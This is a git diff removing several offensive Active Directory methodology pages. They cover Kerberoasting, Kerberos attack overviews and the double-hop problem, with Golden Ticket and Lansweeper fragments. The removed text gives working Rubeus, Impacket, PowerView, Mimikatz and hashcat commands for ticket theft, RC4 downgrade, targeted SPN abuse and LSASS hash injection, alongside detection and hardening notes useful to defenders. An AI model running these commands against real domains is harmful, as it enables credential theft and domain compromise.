-There are also **environmental limits** to persistence. The `krbtgt` account keeps a **password history of 2**, so a forged TGT can remain valid across the **first** `krbtgt` reset if it was signed with the previous key. This is why defenders invalidate Golden Tickets by **resetting `krbtgt` twice** and waiting at least the domain's maximum ticket lifetime between resets.
-
-In order to **bypass this detection** check the diamond tickets.
-
-### Mitigation
-
-- 4624: Account Logon
-- 4672: Admin Logon
-- `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property`
-
-Other little tricks defenders can do are **alert on 4769's for sensitive users** such as the default domain administrator account and alert on **RC4 usage for `krbtgt`** in domains that normally issue AES tickets.
-
-## References
-
-- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
-- [https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-the-krbtgt-password](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-the-krbtgt-password)
-- [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md
deleted file mode 100644
index 7f17b156ca2..00000000000
--- a/src/windows-hardening/active-directory-methodology/kerberoast.md
+++ /dev/null
@@ -1,298 +0,0 @@
-# Kerberoast
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Kerberoast
-
-Kerberoasting focuses on the acquisition of TGS tickets, specifically those related to services operating under user accounts in Active Directory (AD), excluding computer accounts. The encryption of these tickets utilizes keys that originate from user passwords, allowing for offline credential cracking. The use of a user account as a service is indicated by a non-empty ServicePrincipalName (SPN) property.
-
-Any authenticated domain user can request TGS tickets, so no special privileges are needed.
-
-### Key Points
-
-- Targets TGS tickets for services that run under user accounts (i.e., accounts with SPN set; not computer accounts).
-- Tickets are encrypted with a key derived from the service account’s password and can be cracked offline.
-- No elevated privileges required; any authenticated account can request TGS tickets.
-
-> [!WARNING]
-> Most public tools prefer requesting RC4-HMAC (etype 23) service tickets because they’re faster to crack than AES. RC4 TGS hashes start with `$krb5tgs$23$*`, AES128 with `$krb5tgs$17$*`, and AES256 with `$krb5tgs$18$*`. However, many environments are moving to AES-only. Do not assume only RC4 is relevant.
-> Also, avoid “spray-and-pray” roasting. Rubeus’ default kerberoast can query and request tickets for all SPNs and is noisy. Enumerate and target interesting principals first.
-
-### Service account secrets & Kerberos crypto cost
-
-Many services still run under user accounts with hand-managed passwords. The KDC encrypts service tickets with keys derived from those passwords and hands the ciphertext to any authenticated principal, so kerberoasting gives unlimited offline guesses without lockouts or DC telemetry. The encryption mode determines the cracking budget:
-
-| Mode | Key derivation | Encryption type | Approx. RTX 5090 throughput* | Notes |
-| --- | --- | --- | --- | --- |
-| AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. |
-| RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. |
-
-*Benchmarks from Chick3nman as d in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).
-
-RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.
-
-### Attack
-
-#### Linux
-
-```bash
-# Metasploit Framework
-msf> use auxiliary/gather/get_user_spns
-
-# Impacket — request and save roastable hashes (prompts for password)
-GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
-# With NT hash
-GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
-# Target a specific user’s SPNs only (reduce noise)
-GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
-
-# NetExec — LDAP enumerate + dump $krb5tgs$23/$17/$18 blobs with metadata
-netexec ldap <DC_FQDN> -u <USER> -p <PASS> --kerberoast kerberoast.hashes
-
-# kerberoast by @skelsec (enumerate and roast)
-# 1) Enumerate kerberoastable users via LDAP
-kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
-# 2) Request TGS for selected SPNs and dump
-kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
-```
-
-Multi-feature tools including kerberoast checks:
-
-```bash
-# ADenum: https://github.com/SecuProject/ADenum
-adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
-```
-
-#### Windows
-
-- Enumerate kerberoastable users
-
-```powershell
-# Built-in
-setspn.exe -Q */*   # Focus on entries where the backing object is a user, not a computer ($)
-
-# PowerView
-Get-NetUser -SPN | Select-Object serviceprincipalname
-
-# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
-.\Rubeus.exe kerberoast /stats
-```
-
-- Technique 1: Ask for TGS and dump from memory
-
-```powershell
-# Acquire a single service ticket in memory for a known SPN
-Add-Type -AssemblyName System.IdentityModel
-New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"  # e.g. MSSQLSvc/mgmt.domain.local
-
-# Get all cached Kerberos tickets
-klist
-
-# Export tickets from LSASS (requires admin)
-Invoke-Mimikatz -Command '"kerberos::list /export"'
-
-# Convert to cracking formats
-python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
-# Optional: convert john -> hashcat etype23 if needed
-sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
-```
-
-- Technique 2: Automatic tools
-
-```powershell
-# PowerView — single SPN to hashcat format
-Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
-# PowerView — all user SPNs -> CSV
-Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
-
-# Rubeus — default kerberoast (be careful, can be noisy)
-.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
-# Rubeus — target a single account
-.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
-# Rubeus — target admins only
-.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
-```
-
-> [!WARNING]
-> A TGS request generates Windows Security Event 4769 (A Kerberos service ticket was requested).
-
-### OPSEC and AES-only environments
-
-- Request RC4 on purpose for accounts without AES:
-  - Rubeus: `/rc4opsec` uses tgtdeleg to enumerate accounts without AES and requests RC4 service tickets.
-  - Rubeus: `/tgtdeleg` with kerberoast also triggers RC4 requests where possible.
-- Roast AES-only accounts instead of failing silently:
-  - Rubeus: `/aes` enumerates accounts with AES enabled and requests AES service tickets (etype 17/18).
-  - If you already hold a TGT (PTT or from a .kirbi), you can use `/ticket:<blob|path>` with `/spn:<SPN>` or `/spns:<file>` and skip LDAP.
-- Targeting, throttling and less noise:
-  - Use `/user:<sam>`, `/spn:<spn>`, `/resultlimit:<N>`, `/delay:<ms>` and `/jitter:<1-100>`.
-  - Filter for likely weak passwords using `/pwdsetbefore:<MM-dd-yyyy>` (older passwords) or target privileged OUs with `/ou:<DN>`.
-
-Examples (Rubeus):
-
-```powershell
-# Kerberoast only AES-enabled accounts
-.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
-# Request RC4 for accounts without AES (downgrade via tgtdeleg)
-.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
-# Roast a specific SPN with an existing TGT from a non-domain-joined host
-.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
-```
-
-### Cracking
-
-```bash
-# John the Ripper
-john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
-
-# Hashcat
-# RC4-HMAC (etype 23)
-hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
-# AES128-CTS-HMAC-SHA1-96 (etype 17)
-hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
-# AES256-CTS-HMAC-SHA1-96 (etype 18)
-hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
-```
-
-### Persistence / Abuse
-
-If you control or can modify an account, you can make it kerberoastable by adding an SPN:
-
-```powershell
-Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
-```
-
-Downgrade an account to enable RC4 for easier cracking (requires write privileges on the target object):
-
-```powershell
-# Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective
-Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
-# Mixed RC4+AES (value 28)
-Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
-```
-
-#### Targeted Kerberoast via GenericWrite/GenericAll over a user (temporary SPN)
-
-When BloodHound shows that you have control over a user object (e.g., GenericWrite/GenericAll), you can reliably “targeted-roast” that specific user even if they do not currently have any SPNs:
-
-- Add a temporary SPN to the controlled user to make it roastable.
-- Request a TGS-REP encrypted with RC4 (etype 23) for that SPN to favor cracking.
-- Crack the `$krb5tgs$23$...` hash with hashcat.
-- Clean up the SPN to reduce footprint.
-
-Windows (PowerView/Rubeus):
-
-```powershell
-# Add temporary SPN on the target user
-Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose
-
-# Request RC4 TGS for that user (single target)
-.\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4
-
-# Remove SPN afterwards
-Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose
-```
-
-Linux one-liner (targetedKerberoast.py automates add SPN -> request TGS (etype 23) -> remove SPN):
-
-```bash
-targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>'
-```
-
-Crack the output with hashcat autodetect (mode 13100 for `$krb5tgs$23$`):
-
-```bash
-hashcat <outfile>.hash /path/to/rockyou.txt
-```
-
-Detection notes: adding/removing SPNs produces directory changes (Event ID 5136/4738 on the target user) and the TGS request generates Event ID 4769. Consider throttling and prompt cleanup.
-
-You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast
-
-If you find this error from Linux: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)` it’s due to local time skew. Sync to the DC:
-
-- `ntpdate <DC_IP>` (deprecated on some distros)
-- `rdate -n <DC_IP>`
-
-### Kerberoast without a domain account (AS-requested STs)
-
-In September 2022, Charlie Clark showed that if a principal does not require pre-authentication, it’s possible to obtain a service ticket via a crafted KRB_AS_REQ by altering the sname in the request body, effectively getting a service ticket instead of a TGT. This mirrors AS-REP roasting and does not require valid domain credentials.
-
-See details: Semperis write-up “New Attack Paths: AS-requested STs”.
-
-> [!WARNING]
-> You must provide a list of users because without valid credentials you cannot query LDAP with this technique.
-
-Linux
-
-- Impacket (PR #1413):
-
-```bash
-GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
-```
-
-Windows
-
-- Rubeus (PR #139):
-
-```powershell
-Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
-```
-
-Related
-
-If you are targeting AS-REP roastable users, see also:
-
-{{#ref}}
-asreproast.md
-{{#endref}}
-
-### Detection
-
-Kerberoasting can be stealthy. Hunt for Event ID 4769 from DCs and apply filters to reduce noise:
-
-- Exclude service name `krbtgt` and service names ending with `$` (computer accounts).
-- Exclude requests from machine accounts (`*$$@*`).
-- Only successful requests (Failure Code `0x0`).
-- Track encryption types: RC4 (`0x17`), AES128 (`0x11`), AES256 (`0x12`). Don’t alert only on `0x17`.
-
-Example PowerShell triage:
-
-```powershell
-Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
-  Where-Object {
-    ($_.Message -notmatch 'krbtgt') -and
-    ($_.Message -notmatch '\$$') -and
-    ($_.Message -match 'Failure Code:\s+0x0') -and
-    ($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
-    ($_.Message -notmatch '\$@')
-  } |
-  Select-Object -ExpandProperty Message
-```
-
-Additional ideas:
-
-- Baseline normal SPN usage per host/user; alert on large bursts of distinct SPN requests from a single principal.
-- Flag unusual RC4 usage in AES-hardened domains.
-
-### Mitigation / Hardening
-
-- Use gMSA/dMSA or machine accounts for services. Managed accounts have 120+ character random passwords and rotate automatically, making offline cracking impractical.
-- Enforce AES on service accounts by setting `msDS-SupportedEncryptionTypes` to AES-only (decimal 24 / hex 0x18) and then rotating the password so AES keys are derived.
-- Where possible, disable RC4 in your environment and monitor for attempted RC4 usage. On DCs you can use the `DefaultDomainSupportedEncTypes` registry value to steer defaults for accounts without `msDS-SupportedEncryptionTypes` set. Test thoroughly.
-- Remove unnecessary SPNs from user accounts.
-- Use long, random service account passwords (25+ chars) if managed accounts are not feasible; ban common passwords and audit regularly.
-
-## References
-
-- [HTB: Breach – NetExec LDAP kerberoast + hashcat cracking in practice](https://0xdf.gitlab.io/2026/02/10/htb-breach.html)
-- [https://github.com/ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
-- [Matthew Green – Kerberoasting: Low-Tech, High-Impact Attacks from Legacy Kerberos Crypto (2025-09-10)](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/)
-- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)
-- [Microsoft Security Blog (2024-10-11) – Microsoft’s guidance to help mitigate Kerberoasting](https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/)
-- [SpecterOps – Rubeus Roasting documentation](https://docs.specterops.io/ghostpack/rubeus/roasting)
-- [HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA](https://0xdf.gitlab.io/2025/09/12/htb-delegate.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
deleted file mode 100644
index 9d2516a7903..00000000000
--- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# Kerberos Authentication
-
-{{#include ../../banners/hacktricks-training.md}}
-
-**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
-
-## TL;DR for attackers
-- Kerberos is the default AD auth protocol; most lateral-movement chains will touch it.
-- Think in **three operator phases**:
-  - **AS-REQ / AS-REP** → password/hash/certificate to obtain a **TGT**. This is where **AS-REP roasting**, **over-pass-the-hash / pass-the-key**, and **PKINIT** live.
-  - **TGS-REQ / TGS-REP** → use a TGT to obtain **service tickets**. This is where **Kerberoasting**, **S4U abuse**, **delegation abuse**, and most **ticket-forging tradecraft** become relevant.
-  - **AP-REQ / AP-REP** → present the ticket to the service. This is where **pass-the-ticket** and service-specific lateral movement happen.
-- For hands-on cheatsheets (AS-REP/Kerberoasting, ticket forgery, delegation abuse, etc.) see:
-{{#ref}}
-../../network-services-pentesting/pentesting-kerberos-88/README.md
-{{#endref}}
-- Use this page as the **overview / “what changed recently”** index, then jump to the dedicated pages for [Kerberoast](kerberoast.md), [Resource-Based Constrained Delegation](resource-based-constrained-delegation.md), [AD Certificates / PKINIT abuse](ad-certificates.md), or [BadSuccessor / dMSA abuse](acl-persistence-abuse/BadSuccessor.md).
-
-## Fresh attack notes (2024-2026)
-- **RC4 hardening changed the defaults, not Kerberos itself** – modern DC hardening focuses on the **default assumed encryption types** for accounts that do **not** explicitly set `msDS-SupportedEncryptionTypes`. After the 2026 rollout, those accounts increasingly default to **AES-only** on patched DCs, so blind `/rc4` Kerberoast assumptions fail more often. However, **explicitly RC4-enabled service accounts remain excellent offline-crack targets**.
-- **PAC validation enforcement matters for forged tickets** – 2024 PAC-signature hardening means that **golden/diamond/sapphire/extraSID-style abuses** need more realistic PAC data and the correct signing context. Unpatched domains or domains left in compatibility/audit-style deployments stay softer targets.
-- **Certificate-based Kerberos changed twice**:
-  - **Strong certificate binding** (KB5014754 timeline) makes sloppy certificate-to-account mappings less reliable in fully enforced environments.
-  - **CVE-2025-26647** added another hardening layer around **altSecID / SKI certificate mappings**. If DCs are unpatched, still auditing, or explicitly bypassing NTAuth validation, pass-the-certificate / shadow-credential follow-on abuse stays more practical.
-- **Cross-domain / cross-forest delegation abuse is still very alive** – Windows supports modern cross-realm **S4U2Self/S4U2Proxy** flows, so writable delegation attributes in another domain are still valuable. The blocker is usually tooling fidelity and trust/policy details, not protocol support.
-- **Recursive multi-domain RBCD matters operationally** – in 3+ domain forests, **S4U2Self/S4U2Proxy** can recurse through trust referrals, and **SPN-less** abuse may require a final **`S4U2Self+U2U`** hop plus RC4-dependent ticket handling. See [Resource-Based Constrained Delegation](resource-based-constrained-delegation.md).
-- **Windows Server 2025 introduced new Kerberos-adjacent attack surface** through **dMSA** migration logic. If you see delegated rights over OUs or service-account objects in a 2025 domain, check the dedicated [BadSuccessor page](acl-persistence-abuse/BadSuccessor.md) instead of treating it like “just another gMSA”.
-
-## Fast operator checks in modern domains
-
-Before choosing a Kerberos attack path, quickly answer four questions:
-
-1. **Which accounts are still RC4-friendly?**
-2. **Which users do not require pre-auth?**
-3. **Which objects expose delegation abuse?**
-4. **Which parts of the domain are new enough to enforce recent hardening?**
-
-```powershell
-# 1) Service accounts explicitly pinned to RC4 / legacy etypes
-Get-ADObject -LDAPFilter '(|(msDS-SupportedEncryptionTypes=4)(msDS-SupportedEncryptionTypes=12))' \
-  -Properties samAccountName,servicePrincipalName,msDS-SupportedEncryptionTypes
-
-# 2) Service accounts with no explicit etype config
-#    (these increasingly inherit AES-only defaults on patched 2026 DCs)
-Get-ADObject -LDAPFilter '(&(servicePrincipalName=*)(!(msDS-SupportedEncryptionTypes=*)))' \
-  -Properties samAccountName,servicePrincipalName
-
-# 3) AS-REP roastable users
-Get-ADUser -LDAPFilter '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
-  -Properties userAccountControl
-
-# 4) Delegation hot spots
-Get-ADComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' \
-  -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
-Get-ADObject -LDAPFilter '(|(userAccountControl:1.2.840.113556.1.4.803:=524288)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' \
-  -Properties samAccountName,servicePrincipalName,userAccountControl
-
-# 5) DC-side RC4 hardening / compatibility clues
-Get-WinEvent -LogName System | Where-Object {
-  $_.ProviderName -eq 'Microsoft-Windows-Kerberos-Key-Distribution-Center' -and $_.Id -in 201..209
-}
-```
-
-Practical interpretation:
-- If **interesting SPN accounts are explicitly RC4-capable**, Kerberoasting stays cheap and fast.
-- If most service accounts have **no explicit etype configuration**, expect **AES-only** behavior on updated 2026 DCs and plan for slower offline cracking or a different path.
-- If **RBCD / KCD / unconstrained delegation** is present, S4U often beats brute-force.
-- If **certificate auth** is in play, remember that a failed PKINIT path does **not** always mean the cert is useless; in many environments the same cert still works for **Schannel/LDAPS** abuse (see [AD Certificates / PKINIT abuse](ad-certificates.md)).
-
-## Common Kerberos errors that change the attack plan
-- **`KDC_ERR_ETYPE_NOTSUPP`** → The target account / DC will not use the encryption type you asked for. Stop retrying with RC4 only; supply **AES keys** or request **AES** roast material instead.
-- **`KRB_AP_ERR_MODIFIED`** → You likely have the **wrong service key**, the **wrong SPN**, or a forged ticket that does not match the service account actually decrypting it.
-- **`KRB_AP_ERR_SKEW`** → Your time is off. Sync to the DC before debugging anything else.
-- **`KDC_ERR_BADOPTION`** during S4U / delegation flows → frequently means **sensitive/not-delegable users**, the wrong delegation model, or that you are trying to do **classic KCD** where only **RBCD** would accept a non-forwardable S4U2Self ticket.
-
-## References
-- [Microsoft Learn - Detect and remediate RC4 usage in Kerberos](https://learn.microsoft.com/en-us/windows-server/security/kerberos/detect-remediate-rc4-kerberos)
-- [Microsoft Support - Latest Windows hardening guidance and key dates](https://support.microsoft.com/en-us/topic/latest-windows-hardening-guidance-and-key-dates-eb1bd411-f68c-4d74-a4e1-456721a6551b)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
deleted file mode 100644
index 9315932e139..00000000000
--- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# Kerberos Double Hop Problem
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Introduction
-
-The Kerberos "Double Hop" problem appears when an attacker attempts to use **Kerberos authentication across two** **hops**, for example using **PowerShell**/**WinRM**.
-
-When an **authentication** occurs through **Kerberos**, **credentials** **aren't** cached in **memory.** Therefore, if you run mimikatz you **won't find credentials** of the user in the machine even if he is running processes.
-
-This is because when connecting with Kerberos these are the steps:
-
-1. User1 provides credentials and **domain controller** returns a Kerberos **TGT** to the User1.
-2. User1 uses **TGT** to request a **service ticket** to **connect** to Server1.
-3. User1 **connects** to **Server1** and provides **service ticket**.
-4. **Server1** **doesn't** have **credentials** of User1 cached or the **TGT** of User1. Therefore, when User1 from Server1 tries to login to a second server, he is **not able to authenticate**.
-
-### Unconstrained Delegation
-
-If **unconstrained delegation** is enabled in the PC, this won't happen as the **Server** will **get** a **TGT** of each user accessing it. Moreover, if unconstrained delegation is used you probably can **compromise the Domain Controller** from it.\
-[**More info in the unconstrained delegation page**](unconstrained-delegation.md).
-
-### CredSSP
-
-Another way to avoid this problem which is [**notably insecure**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) is **Credential Security Support Provider**. From Microsoft:
-
-> CredSSP authentication delegates the user credentials from the local computer to a remote computer. This practice increases the security risk of the remote operation. If the remote computer is compromised, when credentials are passed to it, the credentials can be used to control the network session.
-
-It is highly recommended that **CredSSP** be disabled on production systems, sensitive networks, and similar environments due to security concerns. To determine whether **CredSSP** is enabled, the `Get-WSManCredSSP` command can be run. This command allows for the **checking of CredSSP status** and can even be executed remotely, provided **WinRM** is enabled.
-
-```bash
-Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
-    Get-WSManCredSSP
-}
-```
-
-### Remote Credential Guard (RCG)
-
-**Remote Credential Guard** keeps the user's TGT on the originating workstation while still allowing the RDP session to request new Kerberos service tickets on the next hop. Enable **Computer Configuration > Administrative Templates > System > Credentials Delegation > Restrict delegation of credentials to remote servers** and select **Require Remote Credential Guard**, then connect with `mstsc.exe /remoteGuard /v:server1` instead of falling back to CredSSP.
-
-Microsoft broke RCG for multi-hop access on Windows 11 22H2+ until the **April 2024 cumulative updates** (KB5036896/KB5036899/KB5036894). Patch the client and intermediary server or the second hop will still fail. Quick hotfix check:
-
-```powershell
-("KB5036896","KB5036899","KB5036894") | ForEach-Object {
-    Get-HotFix -Id $_ -ErrorAction SilentlyContinue
-}
-```
-
-With those builds installed, the RDP hop can satisfy downstream Kerberos challenges without exposing reusable secrets on the first server.
-
-## Workarounds
-
-### Invoke Command
-
-To address the double hop issue, a method involving a nested `Invoke-Command` is presented. This does not solve the problem directly but offers a workaround without needing special configurations. The approach allows executing a command (`hostname`) on a secondary server through a PowerShell command executed from an initial attacking machine or through a previously established PS-Session with the first server. Here's how it's done:
-
-```bash
-$cred = Get-Credential ta\redsuit
-Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
-    Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
-}
-```
-
-Alternatively, establishing a PS-Session with the first server and running the `Invoke-Command` using `$cred` is suggested for centralizing tasks.
-
-### Register PSSession Configuration
-
-A solution to bypass the double hop problem involves using `Register-PSSessionConfiguration` with `Enter-PSSession`. This method requires a different approach than `evil-winrm` and allows for a session that does not suffer from the double hop limitation.
-
-```bash
-Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
-Restart-Service WinRM
-Enter-PSSession -ConfigurationName doublehopsess -ComputerName TARGET_PC -Credential domain_name\username
-klist
-```
-
-### PortForwarding
-
-For local administrators on an intermediary target, port forwarding allows requests to be sent to a final server. Using `netsh`, a rule can be added for port forwarding, alongside a Windows firewall rule to allow the forwarded port.
-
-```bash
-netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
-netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
-```
-
-#### winrs.exe
-
-`winrs.exe` can be used for forwarding WinRM requests, potentially as a less detectable option if PowerShell monitoring is a concern. The command below demonstrates its use:
-
-```bash
-winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
-```
-
-### OpenSSH
-
-Installing OpenSSH on the first server enables a workaround for the double-hop issue, particularly useful for jump box scenarios. This method requires CLI installation and setup of OpenSSH for Windows. When configured for Password Authentication, this allows the intermediary server to obtain a TGT on behalf of the user.
-
-#### OpenSSH Installation Steps
-
-1. Download and move the latest OpenSSH release zip to the target server.
-2. Unzip and run the `Install-sshd.ps1` script.
-3. Add a firewall rule to open port 22 and verify SSH services are running.
-
-To resolve `Connection reset` errors, permissions might need to be updated to allow everyone read and execute access on the OpenSSH directory.
-
-```bash
-icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
-```
-
-### LSA Whisperer CacheLogon (Advanced)
-
-**LSA Whisperer** (2024) exposes the `msv1_0!CacheLogon` package call so you can seed an existing *network logon* with a known NT hash instead of creating a fresh session with `LogonUser`. By injecting the hash into the logon session that WinRM/PowerShell already opened on hop #1, that host can authenticate to hop #2 without storing explicit credentials or generating extra 4624 events.
-
-1. Get code execution inside LSASS (either disable/abuse PPL or run on a lab VM you control).
-2. Enumerate logon sessions (e.g. `lsa.exe sessions`) and capture the LUID corresponding to your remoting context.
-3. Pre-compute the NT hash and feed it to `CacheLogon`, then clear it when done.
-
-```powershell
-lsa.exe cachelogon --session 0x3e4 --domain ta --username redsuit --nthash a7c5480e8c1ef0ffec54e99275e6e0f7
-lsa.exe cacheclear --session 0x3e4
-```
-
-After the cache seed, rerun `Invoke-Command`/`New-PSSession` from hop #1: LSASS will reuse the injected hash to satisfy Kerberos/NTLM challenges for the second hop, neatly bypassing the double hop constraint. The trade-off is heavier telemetry (code execution in LSASS) so keep it for high-friction environments where CredSSP/RCG are disallowed.
-
-## References
-
-- [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
-- [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
-- [https://learn.microsoft.com/en-gb/archive/blogs/sergey_babkins_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey_babkins_blog/another-solution-to-multi-hop-powershell-remoting)
-- [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
-- [https://support.microsoft.com/en-au/topic/april-9-2024-kb5036896-os-build-17763-5696-efb580f1-2ce4-4695-b76c-d2068a00fb92](https://support.microsoft.com/en-au/topic/april-9-2024-kb5036896-os-build-17763-5696-efb580f1-2ce4-4695-b76c-d2068a00fb92)
-- [https://specterops.io/blog/2024/04/17/lsa-whisperer/](https://specterops.io/blog/2024/04/17/lsa-whisperer/)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/lansweeper-security.md b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
deleted file mode 100644
index e8b31707538..00000000000
--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ /dev/null
@@ -1,173 +0,0 @@
-# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
-
-{{#include ../../banners/hacktricks-training.md}}
-
